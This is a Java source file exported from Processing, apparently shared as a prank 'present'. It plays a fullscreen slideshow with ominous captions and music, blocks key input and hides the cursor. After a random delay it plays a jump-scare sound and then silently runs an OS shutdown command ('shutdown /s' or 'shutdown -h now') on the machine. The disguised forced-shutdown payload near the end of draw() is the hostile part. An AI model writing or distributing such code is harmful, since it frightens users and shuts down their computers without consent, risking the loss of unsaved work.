182 lines
4.0 KiB
Java
182 lines
4.0 KiB
Java
/* autogenerated by Processing revision 1307 on 2026-05-25 */
|
||
import processing.core.*;
|
||
import processing.data.*;
|
||
import processing.event.*;
|
||
import processing.opengl.*;
|
||
|
||
import ddf.minim.*;
|
||
import ddf.minim.effects.*;
|
||
|
||
import java.util.HashMap;
|
||
import java.util.ArrayList;
|
||
import java.io.File;
|
||
import java.io.BufferedReader;
|
||
import java.io.PrintWriter;
|
||
import java.io.InputStream;
|
||
import java.io.OutputStream;
|
||
import java.io.IOException;
|
||
|
||
public class dark_present extends PApplet {
|
||
|
||
|
||
|
||
|
||
Minim minim;
|
||
AudioPlayer ltp;
|
||
|
||
final int img_count = 5;
|
||
|
||
final String[] txt_vals = {
|
||
"Welcome",
|
||
"(Don't look back)",
|
||
"Why haven't you read my letter yet?!!!"
|
||
};
|
||
|
||
PImage img;
|
||
|
||
String txt = "";
|
||
|
||
int img_num = 1;
|
||
long tmr = 0;
|
||
int brightness = -255;
|
||
|
||
int ti = 0;
|
||
|
||
public void keyPressed() {
|
||
key = 0;
|
||
}
|
||
|
||
int[] push_array;
|
||
|
||
int ms = 0;
|
||
|
||
PImage screen = null;
|
||
|
||
public void setup() {
|
||
/* size commented out by preprocessor */;
|
||
/* size commented out by preprocessor */;
|
||
minim = new Minim(this);
|
||
ltp = minim.loadFile("music.wav", 2048);
|
||
noCursor();
|
||
ltp.loop();
|
||
img = loadImage("img" + img_num + ".bmp");
|
||
img.loadPixels();
|
||
push_array = new int[img.pixels.length];
|
||
arrayCopy(img.pixels, push_array);
|
||
img.updatePixels();
|
||
textFont(createFont("c64-pro-rus.otf", 16));
|
||
ms = PApplet.parseInt(random(4, 11));
|
||
}
|
||
|
||
public String fparse(String text, int max) {
|
||
String out = "";
|
||
int il = 0;
|
||
for (int i = 0; i < text.length(); i ++) {
|
||
if (il > max) {
|
||
out += "\n";
|
||
il = 0;
|
||
}
|
||
out += text.charAt(i);
|
||
il ++;
|
||
}
|
||
return out;
|
||
}
|
||
|
||
int f = 0;
|
||
boolean lplay = true;
|
||
boolean rt = true;
|
||
long period = 2000;
|
||
|
||
long ltimer = 0;
|
||
|
||
public void draw() {
|
||
background(0);
|
||
image(img, 0, 0, width, height);
|
||
if (millis() - tmr >= 8000) {
|
||
tmr = millis();
|
||
if (lplay) {
|
||
img_num ++;
|
||
if (img_num > img_count) img_num = 1;
|
||
img = loadImage("img" + img_num + ".bmp");
|
||
img.loadPixels();
|
||
push_array = new int[img.pixels.length];
|
||
brightness = -255;
|
||
arrayCopy(img.pixels, push_array);
|
||
img.updatePixels();
|
||
if (ti < txt_vals.length) {
|
||
txt += fparse(txt_vals[ti], 10) + "\n";
|
||
ti ++;
|
||
}
|
||
f ++;
|
||
}
|
||
if (f == ms && lplay) {
|
||
ltp.pause();
|
||
ltp = minim.loadFile("scrimer.wav", 2048);
|
||
ltp.play();
|
||
screen = loadImage("onload.png");
|
||
lplay = false;
|
||
ltimer = millis();
|
||
}
|
||
}
|
||
if (lplay) {
|
||
if (brightness < 0) {
|
||
brightness += 10;
|
||
img.loadPixels();
|
||
for (int i = 0; i < img.pixels.length; i++) {
|
||
|
||
float r = red(push_array[i]) + brightness;
|
||
float g = green(push_array[i]) + brightness;
|
||
float b = blue(push_array[i]) + brightness;
|
||
|
||
r = constrain(r, 0, 255);
|
||
g = constrain(g, 0, 255);
|
||
b = constrain(b, 0, 255);
|
||
|
||
img.pixels[i] = color(r, g, b);
|
||
}
|
||
img.updatePixels();
|
||
}
|
||
text(txt, 10, 26);
|
||
} else {
|
||
if (millis() - ltimer >= period) {
|
||
if (rt == false) {
|
||
String os = System.getProperty("os.name").toLowerCase();
|
||
os = os.startsWith("win") ? "Windows" : (os.contains("nix") || os.contains("nux") ? "Unix/Linux" : "Неопределённая ОС");
|
||
try {
|
||
String cmd = "";
|
||
if (os == "Windows") {
|
||
cmd = "shutdown /s";
|
||
} else {
|
||
cmd = "shutdown -h now";
|
||
}
|
||
Process process = Runtime.getRuntime().exec(cmd);
|
||
process.waitFor();
|
||
} catch (Exception e) {
|
||
println(e);
|
||
}
|
||
} else {
|
||
rt = false;
|
||
period = 8000;
|
||
ltimer = millis();
|
||
ltp.pause();
|
||
ltp = minim.loadFile("clock.wav", 2048);
|
||
ltp.play();
|
||
}
|
||
}
|
||
image(screen, 0, 0, width, height);
|
||
}
|
||
}
|
||
|
||
|
||
public void settings() { fullScreen(); }
|
||
|
||
static public void main(String[] passedArgs) {
|
||
String[] appletArgs = new String[] { "dark_present" };
|
||
if (passedArgs != null) {
|
||
PApplet.main(concat(appletArgs, passedArgs));
|
||
} else {
|
||
PApplet.main(appletArgs);
|
||
}
|
||
}
|
||
}
|